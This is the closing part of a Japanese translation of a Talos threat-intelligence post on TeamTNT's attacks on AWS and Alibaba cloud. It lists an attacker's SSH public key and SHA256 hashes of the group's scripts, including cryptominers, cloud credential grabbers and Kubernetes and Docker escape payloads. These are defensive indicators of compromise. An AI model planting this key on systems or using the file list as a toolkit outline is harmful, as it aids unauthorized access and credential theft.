ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDYmuFzpuEpN/KHPbQkSUT1Xe/gVl3FpIe/GlhJEnW84rCMsYhRe2xxcPc1xfZd10JBhM1kEhs5aycIYiPvLYTRi7mA88hE15OVCkwgPT2HgaY8oetbiNiu18jBygbnku2/avpf/Xl2vkcNJRwHjkik3/Vid9fSleNWeAI+RGrMRRiP4hXVBQjHbuSFlw2VDg0uZINodP+n8oWBDHGnMGei9W6OXxQ3R5C+oKBw9NA3K/drsqvJh81jbEkDXyqCG0Nj0sAUk6o/aGIIQpwxI3ez2Vi/lqm5LYsRO6ICsHP6RXJT/08XkUVNMu7BLnje2RCG/kSKjVqW8QePyajHJ64kHwYf1yeyGfObZJWhUSP3yPK6UtGxBouyA/TPTqvba4vAmUy1Jl7hyWkoa4KUwgmsEizmT9n8GEg1USPXxRWNqv0VIi5160tcoujrB85HYwjwIhbphCqhTKyNwnnFJNratI1hGurgr8t0fflC/igLph8PapiayTwTLEbNwSUwVp8D3rvBkYB+XV2wO4+q24IoNZJO6ePXEA80jAVEa7eGhlnV5BUIIG+pYP/CkukcggyW+vGRTrl07KrvhAn9dLGDg1J8KZM2hMx5L/2ulgjKTjPZI566fL6Y0dDhPJZH8bxAq6i/ciXXZFeuaG4eCDkitPdSzhFtyuZQj712h6NLow== hilde@parrot

ファイルハッシュ:

ファイル名 SHA256
./CLEAN.TeamTNT.sh 5483941dcb2fb017850f3d358e4b1cc45837f30f517ebbbb0718947c5c4d5d50
./Setup_tmate.sh dd60805ec68e3285a2cd4f32083f10a8571e81fb99c03434359bf339011a4a4c
./Setup_RainBow_Miner.sh 96a52109973d50174252b05be64f3ddf0182137fc4186d7a5cef989a4604010d
./Setup_ETH_MinerService.sh f05155c8be6efbd94c0ec891494aa064a93def34b122bd70b4d225ea13fffff9
./DockerAPI-SSH-BreakOut.sh 19575166abd57feccf7cb0a1459daf476e736b7386c54a2b3320b2fc6ae12b9d
./ssh_user.sh 84ce185b70b337342f3c43b594daa5f78737eff32bff03361349a81ac7808b78
./GRABBER_aws-cloud.sh 6075906fbc8898515fe09a046d81ca66429c9b3052a13d6b3ca6f8294c70d207
./CLEAN.other.miners.sh 6158197143f1696368e5a0b26f995b9801c2b29ca2e09d6f0aeb374a0fb3ce1b
./clean.sh 024445ae9d41915af25a347e47122db2fbebb223e01acab3dd30de4b35464965
./init_main_root.sh 244c8993f9092f47c78e8e1414cc7499de94cc3126d591ec920a3dc5cef9c6af
./MOUNTSPLOIT_V2.sh.txt c991bedd44ce0425a157aa0c1fd03d39c5ae2bc019be4518fd979be780889537
./Kubernetes_root_PayLoad_2.sh c57f61e24814c9ae17c57efaf4149504e36bd3e6171e9299fd54b6fbb1ec108c
./Setup.User.cURL.sh 5dc3daf24fcef6ccaef2fec45bbb554f8090930d92a76f5d4c5a1f2487e484e0
./Kubernetes_root_PayLoad_1.sh 48f92bdc4c039437ba77e6c6a74bb0d4b747aa94fb815223ea6d735d04fcb733
./install-NVIDIA-driver.sh 030f3a45d2c0a5200a7fed4734fead988eea4bc1ec48b92e6530610ffd082afe
./Kubernetes_root_PayLoad_2.2.sh b07ca49abd118bc2db92ccd436aec1f14bb8deb74c29b581842499642cc5c473
./Setup_ETH_Miner.sh de651f9bc4e26a09a0d1ebc63a36c6139593bef6625822d59b2ccf37452ef716
./GRABBER_aws-cloud2.sh 6075906fbc8898515fe09a046d81ca66429c9b3052a13d6b3ca6f8294c70d207
./GRABBER_google-cloud.sh 7856273b2378b5a46e87fd8f91411c3c068a28c20d120d953e5307d5704ae0a2
./Kubernetes.LAN.IP.Range.sh 06e8e4e480c4f19983f58c789503dbd31ee5076935a81ed0fe1f1af69b6f1d3d
./ld.so.preload.sh ea02410b2983cfa8cf6740f1f0dbd41d3d07da3f8d2b64ca85defa83060cae72
./init.sh fa2a7374219d10a4835c7a6f0906184daaffd7dec2df954cfa38c3d4dd62d30d
./Setup_WeaveScope.sh 8388b707ddacfa551642a9a20a0eb3b7d40b9bdb8024e4f9c0ce8ee9e8a56d7d
./Kubernetes_scan_LAN_IPs.sh 71af0d59f289cac9a3a80eacd011f5897e0c8a72141523c1c0a3e623eceed8a5
./setup_moneroocean_miner.sh cef2707760086718175235810e3e49a7bbfedce482dee09eef3d302247e97142
./scan.kubernetes.lan.sh e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
./TNTb/x86_64 33c8591edd61c6e968e727683a63fba0352b5b6b59a0b3005628c38848dd7dd3
./TNTb/aarch64 95809d96f85e1571a3120c7c09a7f34fa84cb5902ad5172398dc2bb0ff1dd24a
./bot_u 5e1af7f4e6cf89cff44ee209399a9fab3bfd8f1ca9703fb54cee05cce2b16d4c
./libpcap.so 78facfc012957637c52763a17b94fd21f1e85f5dfaf26e459c1e4a9041e6f0e0
./my.xmr.sh 0085bf33d4e4e051a15a1bd70636055d709aeef79025080afc7a8148ece55339
./scan.sh 6c8a2ba339141b93c67f9d79d86a469da75bfbc69f128a6ed702a6e3925d5a29
./AWS.sh af2cf9af17f6db338ba3079b312f182593bad19fab9075a77698f162ce127758
./ca.pem 3c4ddcf3e6bff60d52479d0d17c908e4813926e9729cf0a2bade843f8d8d4cb1
./Kubernetes_root_PayLoad_2.sh f82ea98d1dc5d14817c80937b91b381e9cd29d82367a2dfbde60cfb073ea4316
./x86_64 a46c870d1667a3ee31d2ba8969c9024bdb521ae8aad2079b672ce8416d85e8df
./kuben2.sh 2d85b47cdb87a81d5fbac6000b8ee89daa1d8a3c8fbb5d2bce7a840dd348ff1d
./MountSshExploit.sh da4a2ae560a6fad9c80182212da3440d678264b4d2d440c94168e36a530490a5
./Kubernetes.XMR.tmp.Setup.sh 721d15556bd3c22f3b4c6240ff9c6d58bfa60b73b3793fa8cdc64b9e89521c5b
./sx.sh a4000315471cf197c0552aeec0e7afbe0a935b86ff9afe5b1443812d3f7185fa
./Docker-API.IP.Range.sh 0dab485f5eacbbaa62c2dd5385a67becf2c352f2ebedd2b5184ab4fba89d8f19
./Kubernetes.put.the.bot.sh 220737c1ee400061e886eab23471f98dba38fa8e0098a018ea75d479dceece05
./win/init2.bat 451a4cbb6b931d8bb8392f08e7c9ec517b1b1ef06f42e1c8105e4feaafd6b157
./win/nssm.zip 5b12c3838e47f7bc6e5388408a1701eb12c4bbfcd9c19efd418781304590d201
./win/xmrig-6.13.1-msvc-win64.zip 79bb16aa326a401e9cd1716d0ea1d6e1fdfdac945a7b4f4f4480be3a1e77cdd3
./win/xmrig.zip 17862610ea8190e3ed4d22099d324d9058b15c941ce97236405fc80d3c50d747
./win/k32r.sh 0ae5c1ddf91f8d5e64d58eb5395bf2216cc86d462255868e98cfb70a5a21813f
./win/init.bat 7bb1bd97dc93f0acf22eff6a5cbd9be685d18c8dbc982a24219928159c916c69
./xmr/x86_64 9315e055f4570b7a392447300dcc2ec06f09b57858c131a35e012bd0bb2356cd
./xmrig b158fc11e1d4aeaf9d3111a285cd353eaff6627e328737a5a242d7ec219f4121
./mo.sh 1b72088fc6d780da95465f80ab26ba094d89232ff30a41b1b0113c355cfffa57
Kubernetes_root_payload_2.sh: c57f61e24814c9ae17c57efaf4149504e36bd3e6171e9299fd54b6fbb1ec108c
./TNTb/x86_64 33c8591edd61c6e968e727683a63fba0352b5b6b59a0b3005628c38848dd7dd3
./TNTb/aarch64 95809d96f85e1571a3120c7c09a7f34fa84cb5902ad5172398dc2bb0ff1dd24a
./xmr/x86_64 9315e055f4570b7a392447300dcc2ec06f09b57858c131a35e012bd0bb2356cd
/xmrig b158fc11e1d4aeaf9d3111a285cd353eaff6627e328737a5a242d7ec219f4121

 

本稿は 2022 年 04 月 21 日に Talos Grouppopup_icon のブログに投稿された「TeamTNT targeting AWS, Alibabapopup_icon」の抄訳です。

 

 

コメントを書く